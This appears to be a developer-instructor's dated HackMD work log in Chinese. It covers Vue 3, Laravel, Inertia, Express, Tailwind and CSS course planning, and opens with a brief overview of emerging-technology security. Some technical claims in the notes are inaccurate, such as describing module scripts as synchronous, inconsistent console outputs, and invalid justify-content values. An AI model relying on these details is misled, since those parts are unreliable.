新興科技安全是指在新興技術領域中確保資訊安全的一系列措施和實踐。隨著科技的不斷發展,新興技術如物聯網、雲計算、區塊鏈、人工智能等帶來了許多創新的應用和商機,同時也帶來了新的安全挑戰和風險。新興科技安全旨在確保這些新興技術的安全性和可信性,防止其被惡意利用和攻擊。 以下是一些新興科技安全的主要方面: 1. 物聯網安全(IoT Security):隨著物聯網設備的普及,物聯網安全成為一個關鍵問題。組織需要確保物聯網設備的安全配置、適當的身份驗證、數據加密和訪問控制,以防止入侵和操控。 2. 雲安全(Cloud Security):隨著組織將數據和應用程序轉移到雲平台上,雲安全變得至關重要。組織需要確保雲服務提供商的安全措施,包括身份驗證、數據加密、威脅檢測和事件響應。 3. 區塊鏈安全(Blockchain Security):區塊鏈技術提供了一個分佈式和不可變的數據存儲方式,但同時也帶來了安全挑戰,包括智能合約漏洞、51%攻擊和私鑰管理等問題。組織需要採取適當的安全措施來保護區塊鏈系統和數據。 4. 人工智能安全(AI Security):人工智能技術的應用越來越廣泛,但同時也面臨著安全風險,包括對抗性攻擊、數據操縱和模型解釋性等問題。組織需要確保 AI 系統的安全性和可信性,並實施適當的安全控制措施。 5. 生物特徵識別安全(Biometric Security):生物特徵識別技術如指紋識別、虹膜識別和人臉識別等在身份驗證領域得到廣泛應用,但同時也面臨著生物特徵被仿冒和攻擊的風險。組織需要確保生物特徵識別系統的安全性和可信性,防止被入侵和篡改。 總的來說,新興科技安全需要組織在採用和應用新技術時,充分考慮安全性並實施適當的安全措施,以保護數據、系統和用戶的安全和隱私。隨著新興技術的不斷發展,新興科技安全將繼續是一個重要而挑戰性的領域。 ## ==20240306== - ## 做一個複製網址的按鈕 ```javascript= <script setup> ... /** * 複製當前的URL到剪貼簿。 */ const copyUrl = () => { const url = window.location.href; navigator.clipboard.writeText(url) .then(() => { alert('URL已成功複製到剪貼板'); }) .catch((error) => { // 複製URL到剪貼板失敗時的錯誤處理 alert('複製URL到剪貼板失敗:', error); }); }; </script> ``` ```html= <template> <section id="frontend-news-content"> <div> ... <button type="button" class="btn-base" @click="copyUrl">複製網址</button> </div> </section> </template> ``` - ## laravel 後端 Api第三方請求 1. 假設由後端得到的資料經整理之後要送出的參數物件為: ```javascript= $requestData = [ 'year' => '2023', //必要 'Code' => 'A', //非必要 'Date' => '2023/04/01/', //非必要 ]; ``` 2. 將資料自動組合成網址參數 - 自動組合方法,可利用: <font color="red">http_build_query($requestData)</font> ```javascript= $url = 'https://somwhere.com.tw/Api/GetData'; $reqUrl = $url . '?' . http_build_query($requestData); ``` 即可得到完整網址 $requrl = https://somewhere.com.tw/Api/GetData?year=2023&Code=A&Date=2023/04/01'); 3. 送出參數取得第三方資料: ```javascript= // 年份為必要參數,其餘可略 if ($year) { // 獲取第三方 API 的響應數据 $thirdPartyApiResponse = Http::post($reqUrl); // 可以在这里處理第三方 API 的響應数据,然後返回给客户端 $thirdPartyData = $thirdPartyApiResponse->json(); // 此處可再加入判斷狀態碼,獲取資料成功與否 } else { $thirdPartyData = []; } // compact 資料 $data = [ 'thirdPartyData' => $thirdPartyData, 'CodeTypeOption' => $this->CodePresenter->getTypeOption(), ]; return Inertia::render('Frontend/ApiSchedule', ['response' => rtFormat($data)]); ``` - ## GitHub 的 "fork" 操作 - GitHub 的 "fork" 操作是指複製一個存儲庫(repository)的完整內容到您自己的 GitHub 帳戶下。這允許您在自己的帳戶中進行修改、新增或刪除操作,而不影響原始存儲庫。通常,這在您想要對一個開源項目進行貢獻、修改或自定義時非常有用。 - 以下是如何進行 Fork 操作的簡要步驟: 在 GitHub 上找到您想要 Fork 的存儲庫(repository)。 在該存儲庫的頁面右上角,有一個 "Fork" 按鈕,點擊它。 GitHub 將提示您選擇要 Fork 的目的地:您自己的帳戶或組織。選擇適合您的選項。 點擊 "Fork" 按鈕,GitHub 將會開始複製存儲庫到您的帳戶中。 完成這些步驟後,您將在您的 GitHub 帳戶中看到該存儲庫的一個副本,您可以隨時對其進行修改、新增或刪除操作。您的 Fork 會保持與原始存儲庫同步,但您的修改不會影響原始存儲庫,直到您向原始存儲庫提交一個 Pull Request,請求將您的更改合併到原始存儲庫中。 - ### fork的功用: "fork" 是GitHub 中的一個重要概念,它允許使用者建立一個與他人專案的副本,而不會影響原始專案。當您fork 一個專案時,GitHub 將會複製該專案的整個程式碼庫到您自己的GitHub 帳戶下,您可以在此基礎上進行修改、新增功能或進行其他操作,而不會影響原始專案。 具體來說,fork 有以下幾個主要作用: - 授權修改:透過fork 一個項目,您可以自由地修改該項目的程式碼,而不需要獲得專案擁有者的授權。這使得個人或團隊可以在不干擾原始專案的情況下進行客製化和改進。 - 實驗和測試:您可以fork 一個專案來進行實驗和測試,嘗試新功能、修復錯誤或進行其他更改,而不會對原始專案造成影響。 - 貢獻與協作:如果您想為開源專案做出貢獻,但是您沒有直接提交權限,您可以fork 該項目,然後對副本進行修改並提交pull request(拉取請求),請求原始專案擁有者將您的更改合併到他們的項目中。 - 保留副本:如果您希望在自己的GitHub 帳戶下保留一個特定版本的項目,您可以fork 該項目以建立永久的副本,以備將來參考或使用。 總而言之,fork 是GitHub 中一個有用的功能,允許使用者基於他人專案創建自己的副本,並在其上進行自由的修改和操作,而不會影響原始專案。 - ## ESModule test1.js ```javascript= export function add(a, b) { return a + b; } export function sub(a, b) { return a - b; } ``` --- test1.html ```javascript= ... <script type="module"> import { add } from './src/composables/test1.js'; console.log(add(1, 2)); // console.log(sub(1, 2)); </script> ``` --- - ## <script type="module"></script> 與 <script></script> 輸出出結果探討 ```javascript= <script type="module"> import { add, sub } from './src/composables/test1.js'; console.log(add(1, 2)); console.log(sub(1, 2)); </script> <script> console.log('Hello, world!'); async function myImport() { const module = await import('./src/composables/test1.js'); console.log(999, module); } myImport(); console.log('Hello, world! 2'); </script> ``` 執行順序印出的結果。 ``` Hello, world! Hello, world 2! 9999 module 3 //add(1, 2) -1 //sub(1, 2) ``` 首先執行的是 <script> 塊,它是同步執行的,並且按照 HTML 文檔的順序立即執行。因 此,"Hello, world!" 將會先被打印出來。 然後是 <script type="module"> 塊,它用於加載 ES6 模塊,並且是同步執行的。<font color="red">它會等待所有模塊的加載和執行完成後才會繼續執行後續的代碼</font>。 ```js= <script type="module"> import { add, sub } from './src/composables/test1.js'; console.log(add(1, 2)); console.log(sub(1, 2)); // </script> // <script> console.log('Hello, world!'); async function myImport() { const module = await import('./src/composables/test1.js'); console.log(999, module); } myImport(); console.log('Hello, world! 2'); </script> ``` 執行順序印出的結果。 ``` 3 -1 Hello, world! 38 Hello, world! 2 999 Module ``` --- - ## Laravel JSON Where Clauses - [參考網址](https://laravel.com/docs/10.x/queries/#json-where-clauses) - 假設users表中的某些記錄的options欄位如下所示: json 1 ```json= { "languages": ["en", "fr", "de"], "theme": "dark" } json 2 { "languages": ["es", "it", "pt"], "theme": "light" } json 3 { "languages": ["en", "es"], "theme": "light" } json 4 複製程式碼 { "languages": ["fr", "de"], "theme": "dark" } ``` 現在,如果我們運行以下程式碼: $users = DB::table('users') ->whereJsonContains('options->languages', 'en') ->get(); 那麼$users變數將包含以下記錄: 第一筆記錄,因為languages子欄位包含'en'。 第三筆記錄,因為languages子欄位包含'en'。 因此,$users變數將包含第一條和第三筆記錄。 $users = DB::table('users') ->whereJsonContains('options->languages', ['en', 'de']) ->get(); ## ==20240228== - ## 研究現在vue3+lararvel專案的寫法 - 第一次使用 reliese/laravel 自動生成Models套件 - 使用範例,一次生成一個或一個以上的Model php artisan code:models --table=users,posts - 使用範例,一次生成全部的Model php artisan code:models - ## <script type="module" src="./src/composables/test1.js"></script> - type="module":這個屬性指定了引入的腳本是一個 ECMAScript 模組,這意味著它可以使用模組化的語法(例如 import 和 export)。 - - 在Applayout.vue中 ``` // 判斷當前頁面應使用的模板(前台、後台、其他) const layoutPosition = computed(() => { const { component } = usePage(); const fileName = [ { code: 'Frontend', comp: FrontendLayout }, { code: 'Backend', comp: BackendLayout }, { code: 'Auth', comp: FrontendLayout }, ]; const layouut = fileName.find(({ code }) => component.includes(code)); return layouut?.comp ?? GuestLayout; }); ``` - const layouut = fileName.find((<font color="red">{ code }</font>) => component.includes(code)); 這個回調函式使用了解構的方式,從每個陣列元素中提取 code 屬性,然後檢查 component 是否包含該 code。這意味著它會尋找 component 中是否包含任何 fileName 中的 code 屬性值,並返回第一個符合條件的元素。 - const layouut = fileName.find((<font color="red">code</font>) => component.includes(code)); 這個回調函式僅僅接收單個參數 code,而不是解構元素。這個回調函式直接將每個 fileName 元素視為 code 值,然後檢查 component 是否包含這個值。這意味著它會尋找 component 中是否包含 fileName 中的任何值,而不僅僅是 code 屬性。 - Object.freeze() 是 JavaScript 中的一個方法,它用於凍結一個物件,使其不能被修改。一旦物件被凍結,就無法添加新屬性,刪除現有屬性,或修改現有屬性的值。這對於確保物件的狀態在程式的執行過程中保持不變是非常有用的。 這是一個簡單的例子: ```javascript= const obj = { prop1: 100, prop2: 'Hello' }; // 凍結物件 Object.freeze(obj); // 嘗試修改已有屬性的值 obj.prop1 = 200; // 這行程式碼不會改變 prop1 的值 // 嘗試添加新屬性 obj.prop3 = 'World'; // 這行程式碼不會添加 prop3 到物件中 console.log(obj); // Output: { prop1: 100, prop2: 'Hello' } ``` 在這個例子中,一旦 obj 被凍結,任何對其進行的修改都不會生效。這有助於確保在程式執行過程中物件的狀態保持不變。 - require 是一個在 PHP 中用來包含並執行指定檔案的函式。當您使用 require 函式時,您希望引入的檔案被視為程式碼的一部分,<font color="red">如果該檔案不存在或引入失敗,則會導致程式停止執行並產生致命錯誤</font>。這與 include 函式不同,<font color="red">include 函式在引入失敗時只會產生警告,而不會停止程式的執行</font>。 例如: require 'config.php'; require __DIR__.'/auth.php'; - 上面的程式碼會嘗試引入 config.php 檔案,並將其中的程式碼包含進當前的 PHP 腳本中。如果 config.php 不存在或引入失敗,則會產生致命錯誤。 ## ==20240221== - ## 處理laravel 5.x版 舊專案時發現無法 composer install ![image](https://hackmd.io/_uploads/BJVeScpsT.png) In ClassMapGenerator.php line 74: Could not scan for classes inside "tests/TestCase.php" which does not appear to be a file nor a folder [參考網址](https://stackoverflow.com/questions/24347503/laravel-runtimeexception-could-not-scan-for-classes-inside-app-tests-testca) <!-- 我也遇到了這個問題,這解決了它。顯然,在我設定 Codeception 期間,它在檔案「app/tests/TestCase.php」的composer.json 的類別映射自動載入中新增了一個條目。刪除這個類別映射條目可以讓composer正常運作。 --> 確保刪除測試及其相依性。--no-dev執行composer指令時使用。 ``$ composer install --no-dev`` 則可正常運行 - ## 少了server.php,進入專案後發現下列錯誤 - Warning: Unknown: failed to open stream: No such file or directory in Unknown on line 0 - Fatal error: Unknown: Failed opening required 'C:\Users\Never\Desktop\try-ocean-aeropro-master\ocean-aeropro-master/server.php' (include_path='C:\xampp\php\PEAR') in Unknown on line 0 - 然後一直進入不了專案,經檢查發現是因為少了server.php,從以前的專案copy server.php過來後即可正常運行 - ## 從Stan 那裏學到了指向的方法 $ php -S localhost:8000 -t public - -S 這個部分是 PHP 內建的一個選項,用於啟動內建的 Web 伺服器。當你執行 php -S 時,你正在使用 PHP 內建的伺服器功能,而不是安裝額外的伺服器軟體(如 Apache 或 Nginx)。這個選項讓你可以在開發過程中快速地在本地運行 PHP 應用程式,而不必設定和管理一個完整的伺服器環境。 - -t 是 php -S 命令的另一個選項,用於指定伺服器的根目錄或文件夾。在 -t 選項後面,你需要提供伺服器應該使用的目錄路徑。這個目錄會成為伺服器提供的文件的根目錄,也就是訪問伺服器時文件的起始點。 在你提供的例子中,-t public 意味著你正在將伺服器的根目錄設置為名為 public 的目錄。因此,當你訪問伺服器時,它將從 public 目錄提供文件,這在許多 Web 應用程式中是常見的配置,因為它可以提供更好的安全性和組織性。 - ## 修正舊專案的一些錯誤,發現被註解的部分程式碼,並沒有完全被註解 ``` <!-- <li class="nav-item {!! $frontEndClass -> getnowpage('news') !!}"><a href="{{ ItemMaker::url('news') }}" class="nav-link" aria-haspopup="true" aria-expanded="false">{{ $lang['news_title']}}</a></li> --> ``` 不會完全被註解的部分 {!! $frontEndClass -> getnowpage('news') !!} {{ ItemMaker::url('news') }} {{ $lang['news_title']} 都還會作用 我發現是因為可能是人工註解 使用 <-- --> 這是html註解法,但在blade上不會完全註解 但是如果是用vsoce 在 blad註解會是 用 {{-- --}},如此便可全部完全註解 - 其餘便是網站的XX問題排除 - ## jinsha 及 youth 寫法研究 - ### tailwind 的 group-hover , :global - 範例 group-hover:opacity-100 ``` <div > <button class="opacity-0 group-hover:opacity-100 transition-opacity duration-500">按鈕</button> </div> ``` - 在這個例子中,group 類別被應用於 <div> 元素,並且 group-hover:opacity-100 類別被應用於其內部的 <button> 元素。 - 這意味著當父元素 <div> 被 hover 時,其內部的 <button> 元素的不透明度將從 0 變為 100% 並且添加了一個淡入淡出的過渡效果。 - 這種方式與之前提到的方式具有相同的效果,只是在這個例子中將 group 類別應用於了 <div> 元素,而不是其他元素。 - 範例 :global(.banner-bullet-active) ``` :global(.banner-bullet-active) { @apply bg-[#EEC26C] opacity-100; } ``` - ## 其中建構含是建構函示採用8.0板以上的新寫法 - ### 在 PHP 8.0 之後,你可以使用屬性注入來簡化建構函式中的程式碼。以下是 PHP 8.0 之後的寫法: ``` use App\Services\IndexService; use Inertia\Inertia; class IndexController extends Controller { public function __construct(protected IndexService $indexService) { } public function index() { $rtData = $this->indexService->getIndexData(); return Inertia::render('Frontend/Index', $rtData); } } ``` 在這個寫法中,我們使用了<font color="red">屬性注入</font>來定義 $indexService 屬性。這樣做的好處是可以減少額外的程式碼,並且提高了程式碼的可讀性。當 Laravel 實例化 IndexController 時,會自動解析 IndexService 並注入到 $indexService 屬性中。 這種寫法與 PHP 8.0 之前的寫法相比,<font color="red">省略了建構函式的顯式聲明,使得程式碼更加簡潔</font>。 - ### 在 PHP 8.0 之前,你需要在建構函式中進行屬性的賦值,而不是直接使用屬性注入。以下是 PHP 8.0 之前的寫法: ``` use App\Services\IndexService; use Inertia\Inertia; class IndexController extends Controller { protected $indexService; public function __construct(IndexService $indexService) { $this->indexService = $indexService; } public function index() { $rtData = $this->indexService->getIndexData(); return Inertia::render('Frontend/Index', $rtData); } } ``` 在這個寫法中,我們先定義了一個 $indexService 屬性,然後在建構函式中將 IndexService 實例賦值給這個屬性。這樣做的效果和 PHP 8.0 之後的屬性注入是一樣的,只是語法上有所不同。 在 Laravel 中,無論是使用 PHP 8.0 之後的屬性注入還是 PHP 8.0 之前的屬性賦值,都可以實現依賴注入的效果,用於解耦控制器和服務,<font color="red">使代碼更加清晰和可維護</font>。 ## ==20240124== - # 利用Node.js開發API [參考網址](https://www.casper.tw/development/2021/06/03/node-js-live/) - ## Express 應用程式產生器 [參考網址](https://expressjs.com/zh-tw/starter/generator.html) - 使用應用程式產生器工具 Express,快速建立應用程式架構。 - Express 可以快速、集思廣益、極簡的 Node.js Web 架構 - 使用下列指令來安裝 express: $ npm install express-generator -g - 使用 -h 選項來顯示指令選項: $ express -h Usage: express [options][dir] Options: -h, --help output usage information --version output the version number -e, --ejs add ejs engine support --hbs add handlebars engine support --pug add pug engine support -H, --hogan add hogan.js engine support --no-view generate without view engine -v, --view &lt;engine&gt; add view &lt;engine&gt; support (ejs|hbs|hjs|jade|pug|twig|vash) (defaults to jade) -c, --css &lt;engine&gt; add stylesheet &lt;engine&gt; support (less|stylus|compass|sass) (defaults to plain css) --git add .gitignore -f, --force force on non-empty directory - 範例,以下是在現行工作目錄中建立一個名為 myapp 的 Express 應用程式: $ express --view=ejs myapp create : myapp create : myapp/package.json create : myapp/app.js create : myapp/public create : myapp/public/javascripts create : myapp/public/images create : myapp/routes create : myapp/routes/index.js create : myapp/routes/users.js create : myapp/public/stylesheets create : myapp/public/stylesheets/style.css create : myapp/views create : myapp/views/index.pug create : myapp/views/layout.pug create : myapp/views/error.pug create : myapp/bin create : myapp/bin/www - 安裝相依項目: $ cd myapp $ npm install - 啟動程式 $ npm start ![image](https://hackmd.io/_uploads/H1hw5b0FT.png) . ![](https://paper-attachments.dropbox.com/s_360BB90164F4A163DA4449D7680CB36A8ECA2B7E16EB46F71BD53002133B953C_1621460208773_routes+to+views.jpg) ![](https://paper-attachments.dropbox.com/s_360BB90164F4A163DA4449D7680CB36A8ECA2B7E16EB46F71BD53002133B953C_1621460287091_.jpg) - ### API 建立及串接 - 路由表 to 方法 - 建立、啟用apiRouter ![](https://paper-attachments.dropbox.com/s_360BB90164F4A163DA4449D7680CB36A8ECA2B7E16EB46F71BD53002133B953C_1621462247535_apiRouter.jpg) - 同路由,不同方法 ![](https://paper-attachments.dropbox.com/s_360BB90164F4A163DA4449D7680CB36A8ECA2B7E16EB46F71BD53002133B953C_1621462264008_.jpg) - tool - postman - thunder client - rest client - method 方法 48:24 ![get](https://paper-attachments.dropbox.com/s_360BB90164F4A163DA4449D7680CB36A8ECA2B7E16EB46F71BD53002133B953C_1621462484763_get.png) ![post](https://paper-attachments.dropbox.com/s_360BB90164F4A163DA4449D7680CB36A8ECA2B7E16EB46F71BD53002133B953C_1621462499350_post.png) ![post push](https://paper-attachments.dropbox.com/s_360BB90164F4A163DA4449D7680CB36A8ECA2B7E16EB46F71BD53002133B953C_1621462515335_post+push.png) ![delete](https://paper-attachments.dropbox.com/s_360BB90164F4A163DA4449D7680CB36A8ECA2B7E16EB46F71BD53002133B953C_1621462624619_delete.png) ![axios](https://paper-attachments.dropbox.com/s_360BB90164F4A163DA4449D7680CB36A8ECA2B7E16EB46F71BD53002133B953C_1621462705459_axios.png) - ### Node.js 開 API (GET、POST、DELETE) [參考網址](https://) --- ## ==20231227== - 興大授課 - 準備課程 - ### 發現學生CSS的指令參數會亂用 => 造成RWD時debug很難 - 例如: 有一個 div 下了 margin: none; RWD階段過關,結果下一階RWD一直沒照預期走,找了很久都找不到,後來又到上一個RWD階段找,才發現錯誤; - 後來跟學生提醒,vscode 編輯時如果有那個參數,會再出現一次;如果沒出現,就是沒那個參數,不能用。- --- --- ## ==20231220== - 興大授課 - 準備課程 - ### 雋雅問到資料time存入資料庫時間差問題 => 想請教stanely關於時間差問題 --- ## ==20231213== - 逢甲授課 - 準備課程 - ### - ### - ### 學員面試Vue考題 => Vue + Pinia store codesandbox 上版本 - 尚缺 安裝 Tailwind 無法讓tailwind work - ## codesandbox - ### 執行起來速度很慢(至少Vue專案跑很慢),應該不是適用於教學。 - ### 每一樣都要自己安裝,雖然有利於多學一些安裝步驟,單相對時間成本很高。 - ### 目前開啟Vue專案,幾乎都是預設為使用TypeScript(*.ts檔案),造成JS會出錯或警告訊息 - 解決方式,將 <script setup lang="ts"> 改成 <script setup> ## ==20231206== - 逢甲授課 - 準備課程 - ### 完成 學員面試Vue考題 => Vue + Json_server 本地端 版本 - ### 完成 學員面試Vue考題 => Vue + Pinia store 本地端 版本 - ### 部分完成 學員面試Vue考題 => Vue + Pinia store codesandbox 上版本 - 尚缺 安裝 Tailwind - ### 對於codesandbox 有一些疑問,此次沒有時間寫上,留待下星期再寫上討論。 ## ==20231129== - ### VsCode 上 Tailwind 的編輯輔助即刻出現 - 在VsCode 寫Tailwind 時會遇到需要修正時,往往需要刪掉重打才會出現輔助選擇,解決方法[參考網址](https://blog.csdn.net/qq_44832068/article/details/126575775) - 記得有快速鍵,但是忘了???? - 可以在Vscode上直接設定 - setting -> 輸入 editor.quickEditor -> string 設為 on - ### @click="addAdsModal" 與 @click="addAdsModal()" 是否有差異? - ### 網頁上文字最小12px已不再適用,可小於12px,連1px都可以 - ### 警告訊息處理: Form submission canceled because the form is not connected - form中沒有設定button的type="button"導致的,預設是submit - 熊熊出現這個警告訊息,如果沒有google, 會debug很久 - 而且一定要在控制台重新 按 r,server start 才會正確 - ### 還可能導致 [Vue warn]: Maximum recursive updates exceeded in component - ### 一定要在控制台重新 按 r,server start 才會正確 => 一定有問題 => 如何解決 - console上明明已經reload page - - ### 關於物件 default ```jsx= const props = defineProps({ dataNow: { type: Object, default: () => ({}) , // default: {} , } }) ``` - line 4 可否寫成 line 5 嗎? 有差異嗎? - ### 如何在 Composition API 中使用 $refs 來訪問 DOM 元素以執行相應的操作。 - $refs 在 Composition API 中使用的例子, - 請注意這是在模板中使用 $refs 的情況: ```jsx= <script setup> import { ref } from 'vue'; // 使用 ref 函數創建引用 const myForm = ref(null); // 定義響應式數據 const formData = { username: '', password: '', }; // 定義檢查有效性的函數 const checkValidity = () => { // 使用 $refs 在模板中訪問 form 元素 const formElement = myForm.value; // 使用 formElement 的方法進行驗證 if (formElement.checkValidity()) { console.log('表單有效,可以繼續操作'); } else { console.log('表單無效,請檢查輸入'); } }; </script> <template> <div> <form ref="myForm"> <input type="text" v-model="formData.username" /> <input type="password" v-model="formData.password" /> <button @click="checkValidity">檢查有效性</button> </form> </div> </template> ``` - 使用 ref 函數創建了 myFormRef 引用,然後在模板中的 `<form ref="myForm">` 中將其設置為 $refs 的一部分。然後,我們在 checkValidity 函數中使用 $refs 來獲取表單元素的引用,並使用表單元素的 checkValidity 方法來檢查表單的有效性。 ## ==20231122== - 修改編寫 ***[破曉之前]*** - 權限管理 - 帳號管理 - 第一次寫composition API - composition中宣告變數與option API data()中使用的變數類似者,需要記得加.value - 發現option API 這樣的寫法會導致eslint error => 該如何解 ``` 70:5 error 'form' is assigned a valuebut never used no-unused-vars ``` ```jsx= mounted() { const { setFormPW } = this; // line 37 程式碼 等同 line 36 // const setFormPW = this.setFormPW; // let { form } = this; this.form = setFormPW(); // form = setFormPW(); } ``` - 由於使用次數只有一次,因此不需要再寫成解構型態 ``` mounted() { this.form = this.setFormPW(); } ``` - ### withTrash - 軟刪除中想要關聯已被刪除的資料必須要使用 withTrash - withTrash是否應該在modal中關聯中,而且每個只要有軟刪除的關聯都 - ### button - 想要將按鈕方到最右邊,很自然寫下margin-left:auto無效,突然發現自己的想法錯誤,根本移不動;因為button並非區塊層級,無法使用 margin-xxx:auto系列;即使是inline-block也不行;應該在父層使用text-align:right。 - ### watch的使用必須小心,尤其在互相牽絆比較複雜的狀況下,盡量避免使用 ```javascript= watch: { findroleService() { this.fetchFilteredData(); }, findroleHypnotist() { this.fetchFilteredData(); }, findroleCaseStatus() { this.fetchFilteredData(); }, }, ``` - ### v-model:value="findroleService" 的寫法也要斟酌 ```html= Dropdown v-model:value="findroleService" :dropdownvalue="roleService" name="service_name" /> <!-- 治療師 --> <Dropdown v-model:value="findroleHypnotist" :dropdownvalue="roleHypnotist" name="hypnotist_name" /> <!-- 全部狀態 --> <DropdownCRUD v-model:value="findroleCaseStatus" :dropdownvalue="roleCaseStatus" name="status_name" update-route='admin.caselist.update.statusname'></DropdownCRUD> <Dropdown v-model:value="findroleService" :dropdownvalue="roleService" name="service_name" /> ``` - ### 後來改成用大家比較孰悉 子層 emit 回父層的方式 @update="(value) => fetchFilteredData('hypnotistName', value)" ```html= <!-- 治療師 --> <Dropdown :value="findroleHypnotist" :dropdownvalue="roleHypnotist" name="hypnotist_name" @update="(value) => fetchFilteredData('hypnotistName', value)" /> <!-- 全部狀態 --> <DropdownCRUD v-model:value="findroleCaseStatus" :dropdownvalue="roleCaseStatus" name="status_name" update-route='admin.caselist.update.statusname'></DropdownCRUD> <DropdownCRUD :value="findroleCaseStatus" :dropdownvalue="roleCaseStatus" name="status_name" update-route='admin.caselist.update.statusname' @update="(value) => fetchFilteredData('statusName', value)" /> ``` - ### 再利用陣列找資料時,若資料室動非固定性的,尤其是從後端來的資料,最好能夠使用 id 來尋找相對應的資料,應該避免使用index來尋找 若資料並非固定的,則容易出錯 ```html= <!-- 原來寫法易出錯 --> <span>{{ showvalue(props.dropdownvalue[props.value - 1], props.name) }}</span> <!-- 修改後寫法 --> <span>{{ showvalue(props.dropdownvalue.find(item => item.id === props.value), props.name) }}</span> ``` - ### Json server - [JSON server 教學](https://hackmd.io/@hexschool/B1CitMzHj) - json-server - 不會後端也能自己開 REST API - 研究中... - ### postman - [Postman 教學](https://hackmd.io/@hexschool/B1CitMzHj) - Postman 是一個用於建立和使用 API 的 API 平台。Postman 簡化了 API 生命週期的每個步驟並簡化了協作,以便您可以更快地建立更好的 API - 研究中... ## ==20230815== - 授課 - ### 在Swiper上focus有限制 - 授課過程中發現若是在Swiper上要做到focus,只有部分元件可以使用,搜尋 "在swiper foccus" 即可找到 focusableElements 參數設定選項,所有可以使用的元件限制在:input, select, option, textarea, button, video, label 等,所以 a:focus 是沒有作用。 - 開始修改編寫 ***[破曉之前]*** ## ==20231108== - ## 繼續編寫 ***[網頁應用教案(二) 第9天 - 第天](https://hackmd.io/qsc8iw_kQpqBFv1csYIB8w)*** - 第9天 - 選擇器補遺 - ### 直接後代與間接後代 - CSS權重 - ### 權重說明 - ### 權重挑戰題 - list - `<ul></ul>` 無序清單 - `<ol></ol>` 有序清單 - list-style: list-style-type list-style-position list-style-image; > list-style: 清單符號 符號位置 清單符號圖片; - list-style-type 很常用 > none ( 沒有符號 ) - list-style-position 看似方便卻很少用 - 預設 list-style-position: outside; - **list-style-image 雖然可以用自訂的圖片來取代符號用,<span style="color:red">但卻無法利用其它設定來改變該符號的大小</span>** - 微軟仿切 - 1 => list-menu - 微軟仿切 - 2 => 結構分析 與 HTML 輪廓 - 主結構 - 擴展結構 - 詳細結構 + css命名 - 第10天 - 微軟仿切 - 3 => nav menu 完整化 - 詳細結構 + css命名 + 超連結 - CSS 進一步改良 => 按下時出虛線 - 進階修正至理想 - nav 外的 的各個 section 結構 + css 大致切版 - 頁尾 大致切版 - 第11天 - swiper 介紹 - 微軟仿切 - 4 => 導入swiper - 換圖 `<picture></picture>` - swiper 導入換圖 - 隨圖片切換左右文字 - 電腦版完成 - 所有的Miscrosoft選單 說明 - RWD 說明 - 第12天 - 手機板menu - swiper RWD 特別說明 - 學員切版時間 - 完成切版 ## ==20231101== - ## a:visited 的限制 - 在授課中,學員想要在 a:visited 寫複雜的CSS,例如: border-image,然後發現無法work,後來我在試驗中發現,在xx:hover上是可以運作無誤的,然後就搜尋相關資料,原來在a:visited上是有諸多限制的,幾乎都是基於**安全性**上的考量,所以可以下的CSS指令是有限制的,可以參考此篇文章,**[深究 :visited 和隐私安全那点事](https://juejin.cn/post/7090051436213600269)** - ## flex (彈性容器) - 以前沒有想到的想法 - 如此可以學習更多 - 遊戲學習網址: https://flexboxfroggy.com/ - 可以在每一關直接輸入答案直接過關。 - 更進一步,可以在每一關輸入每一個指令來看每一個指令的執行狀況,以此方式來學習更完整的知識。 - 第二關 更合適這種學習法 - 逐一輸入答案學習 - justify-content: **space-start**; ```==htmls #pond { display: flex; justify-content: space-start; } ``` ![](https://hackmd.io/_uploads/SJzaSjufa.png) - justify-content: **space-end**; ```==htmls #pond { display: flex; justify-content: space-end; } ``` ![](https://hackmd.io/_uploads/H1Vjds_fa.png) - justify-content: **center**; ```==htmls #pond { display: flex; **justify-content: center**; } ``` ![](https://hackmd.io/_uploads/r134Fj_MT.png) - justify-content: **space-betwween** ```==htmls #pond { display: flex; justify-content: space-betwween; } ``` ![](https://hackmd.io/_uploads/rkhENoOMa.png) - justify-content: **space-around**; ```==htmls #pond { display: flex; justify-content: space-around; } ``` ![](https://hackmd.io/_uploads/HkMAmiOfp.png) --- - ## 繼續編寫 ***[網頁應用教案(二) 第7天 - 第天](https://hackmd.io/TR6982VOR3-8YWPC8kGAww?**both)*** - 第7天 - 行内元素 (inline element) - 遺漏補說或加強 (以 `<span>` 為例) - RWD 說明 - [什麼是RWD響應式網頁設計?](https://www.cadiis.com.tw/blog/rwd-web-design-infographic) - flex (彈性容器) - flex 加強說明 - flex 進階說明 => flex-grow, flex-frink - 用flex改寫 四合一 RWD (回家作業) - animation 基礎動畫 - 隨時間改變顏色 - 環繞大方塊移動的小方塊(或球) - 第8天 - 選擇器 進階 - overflow, - 偽類 => :is, :not - 偽元素 - 偽元素 進階 => before, after - 利用before, after 一個或二個box, 最多三個box 完成一座神廟 (課堂練習) <img src="https://hackmd.io/_uploads/ByO1PRnMa.jpg" height=300> - 利用before, after 一個或二個box, 最多三個box 完成小精靈追著球 (回家作業) <img src="https://hackmd.io/_uploads/rkdWsC3fp.png" height=200> - SASS - 安裝 live sass complier - 設定Live Sass Compiler css路徑 (setting 中設定 path) - 設計或修改自己的 loading (使用 SCSS) 回家作業 - 第9天 - list menu => ul li , ol li - 微軟仿切 - 1 => menu ## ==20231025== - **逢甲授課** Parallax + 導覽列 + 超連結 這是一個學員建立比較完整網頁的開始,所以相當重要,由於此時尚未進入RWD,所以發現有些學員會喜愛上position的方便,會在許多地方想要用position,因此需要特別再強調叮屬學員能不用position,就不要用position,非不得已時,才用position,不然真的進入RWD時會很辛苦的。 - **review授課內容及繼續編寫修正手冊** - 第4天的課程內容 - html 節點結構圖 - id進入class - (id+class) parallax 進階 - 純class - parallax simple 純class版本 - Parallax + 導覽列 + goTop - 第5天的課程內容 - Parallax + 導覽列 + 超連結 - 超連結特性 - a:hover, 物件:hover - a:active, 物件:active - a:linke - a:visited - 物件:hover - 物件:active - transform 特效 - border 切三角形 與 進階應用 - text-shadow - box-shadow - 利用 position 製作時 注意要能 重複使用CSS(例如button上放置icon) - 第6天的課程內容 - 行内元素 (inline element) - 漸層應用 - 簡易RWD float 版本 - PC.html - SmallPC.html - Tablet.html - sticky - 簡易動畫animation ## ==20231018== - **進行Laravel + React + Inertia的專案技術整合** 除去 Eslint的React規則外,依照**Stanley [Laravel 9 + Vue 3 + Inertia.js 專案SSR建置指南](https://hackmd.io/@Stanleyei/SyGC7Uui9)** 